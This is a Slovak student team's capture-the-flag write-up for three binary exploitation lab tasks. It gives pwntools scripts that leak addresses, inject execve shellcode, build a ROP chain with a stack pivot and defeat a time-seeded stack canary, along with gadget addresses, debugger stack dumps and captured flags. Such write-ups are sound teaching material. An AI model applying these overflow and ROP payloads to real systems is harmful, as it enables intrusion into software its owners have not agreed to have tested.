# Blok 5: Exploit

Názov tímu: 42

Členovia: Nicolas Macák

Veronika Szabóová

Petra Kirschová

# 1. Nájdenie hesla

Program ako prvé vyžaduje meno a heslo. Heslo sme hľadali pomocou binary ninja, kde sme prechádzali cez funkciu pas sword\_check a dopĺňali písmená do hesla. Heslo muselo mať 12 znakov.

Podľa prvej kontroly treba, aby 0. znak hesla bol x a 6. znak \$.

```
if (*pwd != 'x' || (*pwd == 'x' && *(pwd + 6) != '$'))
```

Ďalej:

```
7. znak XOR 0x43 = 0xe => 7. znak bude 0x4d = M
```

1. znak XOR 0x42 = 0xd => 1. znak bude 0x4f = 0

```
int32_t rax_16 = sx.d(*(arg1 + 7) ^ 0x43)
if (sx.d(*(arg1 + 1) ^ 0x42) != 0xd || (sx.d(*(arg1 + 1) ^ 0x42) == 0xd && rax_16 != 0xe))
```

Na ostatné znaky nebola žiadna kontrola, čiže tie sme doplnili \*.

 $Heslo = xO^{****}SM^{****}$ 

```
1. from pwn import *
2. from time import sleep
3.
4. # prihlasenie
5. p = process('/meme_shop')
6. p.sendline(b'AAA')
7. sleep(0.02)
8. p.sendline(b'xO****$M****')
9. sleep(0.02)
10. ...
```

#### 2. Zraniteľnosti

Podľa checksec máme NX vypnuté a teda na stacku môžeme spustiť vlastný shellcode. PIE je povolený, teda nevieme vyčítať presnú adresu skoku, musíme ju leaknuť.

Vo funkcii buy\_meme je zraniteľnosť pri kupovaní meme s ID = 7. Tu sa vypíše adresa buffera, do ktorého sa číta 1000 znakov. Sem môžeme spraviť overflow a vložiť vlastný shellcode.

```
1. ...
2. # buy meme item 7 - leak adresy buffera
3. p.sendline(b'select')
4. sleep(0.02)
5. p.sendline(b'7')
6. p.sendline(b'buy')
7. sleep(0.02)
8. p.readuntil('0x')
9. leak = int(p.read(12),16)
10. print('adresa buffera: '+hex(leak))
11. ...
```

# 3. Offset a shellcode

Po prihlásení a kúpení meme č. 7 nájdeme offset buffera pomocou cyklického patternu. Offset = 120.

Ako vstup teraz pošleme shellcode, ktorý spustí súbor "meme", kde je c-čkový kód na otvorenie a vypísanie súboru /flag. Za shellcode zapíšeme reťazec s offsetom a na koniec leaknutú adresu.

```
13. # shellcode s execve volanim
14. context.arch = 'amd64'
15. shellcode = asm(''
16.
           mov rax,59
17.
           lea rdi, [rip+filename]
18.
           mov rsi,0
19.
          mov rdx,0
20.
          syscall
21.
           filename:
           .string "meme"
22.
24. # shellcode + offset + leaknuta adresa
25. p.send(shellcode + b"A" * (120 - len(shellcode))+ p64(leak))
26. print(p.clean())
27.
```

#### meme.c

```
1. #include <stdio.h>
2.
3. int main() {
4. FILE *fp;
5. char buff[255];
6. fp = fopen("/flag", "r");
7. fscanf(fp, "%s", buff);
8. printf("1 : %s\n", buff );
9. fclose(fp);
10. return 0;
11. }
12.
```

```
ctf@af6141052edb:~$ python level1.py
[*] Starting local process '/meme_shop': pid 6353
adresa buffera: 0x7ffca72a77d0
[*] Process '/meme_shop' stopped with exit code 0 (pid 6353)
b'\n[*] Adresa: [*] Dakujeme za vas nakup AAA\n1 : bispp_flag{Jm2pSO-E5oMr3-R8hBg1-Rajrkz-Y2AsGP}\n'
```

# L2 - Exploit

## 1. Zraniteľnosti

NX je zapnutý a teda nedokážeme spúšťať shellcode na stacku. PIE a stack canary sú tu vypnuté, čo nám uľahčí hľadanie adries, keďže sa nemenia.

Keď sa ako parameter programu zadá DEBUG, program vypíše adresu dát a hesla. Tieto adresy môžeme využiť na ROP chain.

```
ctf@3516cb869b91:~$ /ecrypt DEBUG
[*] Vitajte v sifrovacom programe 'ecrypt'!
[*] DEBUG: umiestnenie dat -> 0x7fffbe4c0ed0!
[*] DEBUG: umiestnenie hesla -> 0x7fffbe4c0e80!
```

```
1. from pwn import *
2.
3. # leaknuta adresa dat
4. p = process(['/ecrypt', 'DEBUG'])
5. p.readuntil(b'0x')
6. leak = int(p.read(12), 16)
7. leak_bytes = p64(leak)[:4]
8. p.clean()
9. ...
```

## 2. Vstup

Program číta zo vstupu maximálne 116 bajtov. Na vykonanie ROP chainu potrebujeme zapísať offset 104 bajtov (zo stacku 0xa78-0xa10), potom sa nám zmestí max jeden 8-bajtový gadget a nakoniec nám zostanú 4 bajty na prepísanie návratovej adresy.

```
00:000
              0x7ffcd04799b0 → 0x7ffcd0479b88 → 0x7ffcd047b8dd ← 0x7470797263652f /* '/ecrypt' */
        гѕр
              0x7ffcd04799b8 4 0x300000000
01:0008
02:0010
              0x7ffcd04799c0 ← 0x0
              0x7ffcd0479a10 ← 'AAAAAAAA\, Začiatok buffera
0060 c:00
                  ffcd0479a18 ← 0xa /* '
                                         \n'
0d:0068
              0x7ffcd0479a20 ← 0x0
0e:0070
16:00b0
                                                   ← endbr64
17:00b8
                  fcd0479a68 - 0xd0479b80
                                                <u>← o</u>xo Návratová adresa
18:00c0
         гЬр
19:00c8
                                                     ← mov eax, 0
x7ffcd047b8dd ← 0x7470797263652f /* '/ecrypt' */
1a:00d0
              0x7ffcd0479a88 - 0x300000000
1b:00d8
                 ffcd0479a90 4- 0x0
1c:00e0
1d:00e8
                                                                                   edi. eax
```

#### 3. ROP chain

Potrebujeme nájsť taký gadget, ktorým by sme mohli manuálne zmeniť vrch zásobníka tak, aby ukazoval na dáta s leaknutou adresou, do ktorých si zapíšeme dlhší ROP chain. Toto sme dosiahli gadgetom **pop rsp**.

```
0x0040120f: pop rsp ; ret ; \x5c\xc3 (1 found)
```

Vďaka tomu dokážeme vytvoriť ROP chain na spustenie c-čkového kódu, ktorý otvorí a vypíše flag. Spustený súbor sme nazvali "puts", pretože adresu tohto reťazca sme dokázali vyčítať z binary ninja. Gadgety na execve volanie sme tiež našli v binárke.

# 00000000004004f3 puts

```
10. ...
11. # gadgety
12. pop_rsp = 0x40120f
13. pop_rax = 0x401211
14. pop_rdi = 0x4015f3
15. pop_rsi_r15 = 0x4015f1
16. xor_rdx = 0x401213
17. syscall = 0x401217
18. file_ptr = 0x4004f3
19. ...
```

Nakoniec sme z gadgetov vyskladali ROP chain s execve systémovým volaním. Na vstup programu sme poslali ROP chain + reťazec, aby sme doplnil zvyšné bajty do dĺžky 104 + gadget na POP vrchu zásobníka a + posledné 4 bajty leaknutej adresy dát.

```
20. ...
21. # rop chain
22. payload = p64(pop_rax) + p64(0x3b)
                                                       # mov rax, 59
                                                       # lea rdi, [file_ptr]
23. payload += p64(pop_rdi) + p64(file_ptr)
24. payload += p64(pop_rsi_r15) + p64(0x0) + p64(0x0) # mov rsi, 0; mov r15, 0
                                                       # xor rdx, rdx
25. payload += p64(xor_rdx)
26. payload += p64(syscall)
                                                       # syscall
27.
28. # rop chain + offset + pop rsp + adresa
29. p.send(payload + b"A"*(104 - len(payload)) + p64(pop_rsp) + leak_bytes)
30. p.send(b'AAA')
31. print(p.clean())
```

```
ctf@97e3dd42f509:~$ python level2.py
[+] Starting local process '/ecrypt': pid 34
[*] Process '/ecrypt' stopped with exit code 0 (pid 34)
b'[*] Zadajte heslo: [*] Zacinam sifrovat!\n[*] Sifrovanie dokoncene!\n[*] Zasi
frovany retazec: VYA\n1 : bispp_flag{Px3FUB-hwifBW-zdb4uD-8ApF00-TqCZOj}\n'
```

# L3 – Stack Pepe

# 1.Vstup

Program potrebuje na vstupe viac ako 120 znakov, avšak pri tom sa prepíše stack pepe a program skončí. Preto potrebujeme do vstupu zapísať správneho pepe, aby mohol program pokračovať a vypísať flag.

Stack pepe sa nachádza na stacku na adrese s offsetom **104** (0x4178-0x4110) od začiatku buffera. Teda treba zapísať 104 znakový offset, potom stack pepe a potom zvyšok znakov aby to dokopy dalo reťazec dlhší ako 120.

```
0x7fffda1d4110 ← 0x4 Začiatok buffera
0x7fffda1d4118 \rightarrow 0x7fb18ef4d4a0 (_I0_file_jumps) \leftarrow 0x0
0x7fffda1d4120 \rightarrow 0x5582f3e682c0 \leftarrow 0x0

0x7fffda1d4128 \leftarrow 0x0
0x7fffda1d4130 → 0x7fffda1d4290 ← 0x1
0x7fffda1d4138 ← 0x0
0x7fffda1d4148 → 0x7

→ mov

0x7fffda1d4150 →

← 0x8d4c5741fa1e0ff3

0x7fffda1d4158 → 0x7fffda1d4180 → 0x7fffda1d41a0 ← 0x0
0x7fffda1d4160 →
                                                - 0x8949ed31fa1e0ff3
0x7fffda1d4168 →

← 0x55fa1e0ff3c3c990

0x7fffda1d4170 →
                                             0x7fffda1d4178 ← 0x61ecc1fe Stack pepe
```

# 2. Zraniteľnosti

V tejto úlohe bol zapnutý NX aj PIE, teda nemohli sme spúšťať shellcode na stacku ani sa nedali priamo vyčítať adresy.

Funkcia get\_pepe\_seed generuje seed podľa aktuálnej minúty. Vďaka tomu je stack pepe celú minútu rovnaký a vieme ho vyčítať z gdb.

```
00001328 call localtime
0000132d mov qword [rbp-0x8 {var_10}], rax
00001331 mov rax, qword [rbp-0x8 {var_10}]
00001335 mov eax, dword [rax+0x4 {tm::tm_min}]
```

# 3. Exploit

Postupovali sme tak, že sme si spustili /stack\_pepe ako 2 procesy naraz - jeden cez python a druhý cez gdb. Nastavili sme si breakpoint za cyklus v generate\_pepe, ktorý generoval stack pepe. Z gdb sme vyčítali pepe a použili sme ho v druhom procese, kde sme ho zapísali do vstupu.

## Level3.py

```
1. from pwn import *
2. p = process('/stack_pepe')
3. p.clean()
4. # offset + stack pepe z gdb + zvysok vstupu
5. p.send(b'A'*104+p64(0xdc14195f)+b'A'*20)
6. print(p.clean())
```